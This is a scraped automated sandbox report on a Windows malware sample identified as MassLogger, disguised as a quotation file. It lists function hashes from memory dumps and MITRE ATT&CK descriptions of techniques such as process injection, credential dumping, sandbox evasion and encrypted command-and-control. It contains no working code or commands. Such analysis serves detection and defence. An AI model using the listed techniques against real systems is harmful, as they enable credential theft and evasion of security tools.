Opcode Fuzzy Hash: 7394a02c6e190f39d36012be7d6350170d43961cbb5cb8fbcb233deb9f67dc94
Instruction Fuzzy Hash: 42F0E5308851489FDB14DB74E4697E9BBB4E702305F05839DC41487291CB710949E754

Function 00ACCDB6 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 756b41052699c34fc21015af3c1620ab36ea126298f417c99601092f12900442
Instruction ID: c91343fca9972e0526425436ab75d2ad1d5f3d5687572477be2a278ddb3cc434
Opcode Fuzzy Hash: 756b41052699c34fc21015af3c1620ab36ea126298f417c99601092f12900442
Instruction Fuzzy Hash: E4F06C74E14218CFEB15CF99D894F9CBBB2BF88314F5586AAE40EA7254DB309981CF10

Function 00ACAFC0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd5384fa5f33f5bc09855ccfceb203289a575847201e6c26ff5dbfc458478f9
Instruction ID: 0518630777c8f4e4d0cdadf3faf12234695caf69330671e3b24b5e914e65efa7
Opcode Fuzzy Hash: 2cd5384fa5f33f5bc09855ccfceb203289a575847201e6c26ff5dbfc458478f9
Instruction Fuzzy Hash: D1E02035C143A68FC703EF609C140EDBF34EE83210B844193D15037052E7701659C3A1

Function 00ACD062 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6bc3201de76c2f3ba9fb125dde4f4e31bf22d87355788af2fcd732031c608e3
Instruction ID: 8ba8d4f90965186e9542d9772a2da51dc8932945fd38e7578d88a40b4c653c7d
Opcode Fuzzy Hash: d6bc3201de76c2f3ba9fb125dde4f4e31bf22d87355788af2fcd732031c608e3
Instruction Fuzzy Hash: 27F09274E002188FDB14DF9DD980F9DBBB1BB44314F1544AAE509AB251DB309980CF10

Function 00AC4148 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d3a803fa44e8f15be3558759222ddc0e11dbb14eee3357b8e8486ce22746142
Instruction ID: 9e39ded03ce2d3fcf632e8a1e64c27378605b2ebc4e89815aad4beab8c67ab0a
Opcode Fuzzy Hash: 1d3a803fa44e8f15be3558759222ddc0e11dbb14eee3357b8e8486ce22746142
Instruction Fuzzy Hash: ADE02670C8524CEFDB00DBB0E808799BBF4E706305F44829CC41493391DBB10D84E359

Function 00AC0890 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b627ad354889fdea092dfd6c05279ef38bbd1f018b0e175197453770d96319
Instruction ID: 78bbf32c2d03fa51c7d4d35cff0d04d4f65a42545c789d80cdfbd4f5f617842b
Opcode Fuzzy Hash: e7b627ad354889fdea092dfd6c05279ef38bbd1f018b0e175197453770d96319
Instruction Fuzzy Hash: 28D023304CD3904FC711C7706C18F943F607B02310F05425DD49545092C3E10405D7C1

Function 00AC3F39 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6fb7c388e28956bbac846af89136172386775c080986ed0aa191a9e3069615
Instruction ID: 84e5fa20d29a6567f3392538bbe738cca55861dc241c6573e596c1ea6cc2e33d
Opcode Fuzzy Hash: 3e6fb7c388e28956bbac846af89136172386775c080986ed0aa191a9e3069615
Instruction Fuzzy Hash: 0AE012B47042498FCB54DF28D964FAD77F1BB05304F40866BD01BA7260DB705A49AF44

Function 00AC08A0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec40147f3f199452a7346b80c2c45e156da528b138eddd482e789bc097ae6dc2
Instruction ID: c612a6b6476981f1dc436b313f07e170357ee1147829b1fbab50a4bcfde4a63a
Opcode Fuzzy Hash: ec40147f3f199452a7346b80c2c45e156da528b138eddd482e789bc097ae6dc2
Instruction Fuzzy Hash: EFB0927109A7098BEA24A7D5BC0CB2472A87702706FC1012CE55D814618BE05455E6EA

Function 00ACD0B0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adae2d92a93d4153befc976a675e8960a22054afa6d4d3bfc2ef522a65e72a08
Instruction ID: 38719de85113a18909d69d19f31eaf3535df68a8e92efdb8c2e6225f2802fee3
Opcode Fuzzy Hash: adae2d92a93d4153befc976a675e8960a22054afa6d4d3bfc2ef522a65e72a08
Instruction Fuzzy Hash: 44C04CB4C052288ADB90CF78DC84F8DBEB0BB14314F11529AD40DE3240DB3049C49F08

Function 00AC3ABD Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2129513585.0000000000AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ac0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c1d32e35815e49b1078d410a19e52bdff7e50a6b40ea42a02bf302e59f72f6
Instruction ID: e71341e97a0dadd9a67ea52562b680380c90d0cb1d4a670c731cd55b342c40dd
Opcode Fuzzy Hash: 11c1d32e35815e49b1078d410a19e52bdff7e50a6b40ea42a02bf302e59f72f6
Instruction Fuzzy Hash: AFB001B289556987DB008AA49844BAAAAA0AB02324F795B599031E26D4D3B882949985

Non-executed Functions

Function 05DDC7B0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2134449233.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6a197f01d0b7e78e22fa48dacfb029bb9a353d63d30e67b55e4bd839a7a8ec
Instruction ID: 6ec91ba613e436f02b2e4af4910259ac9e004a6687e29ed8b4f2d0876f193967
Opcode Fuzzy Hash: 9a6a197f01d0b7e78e22fa48dacfb029bb9a353d63d30e67b55e4bd839a7a8ec
Instruction Fuzzy Hash: 0B31F270E15258CFEB14DFA9C844BADFBF2EB49300F60816AD408AB265D7749A85CF61

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre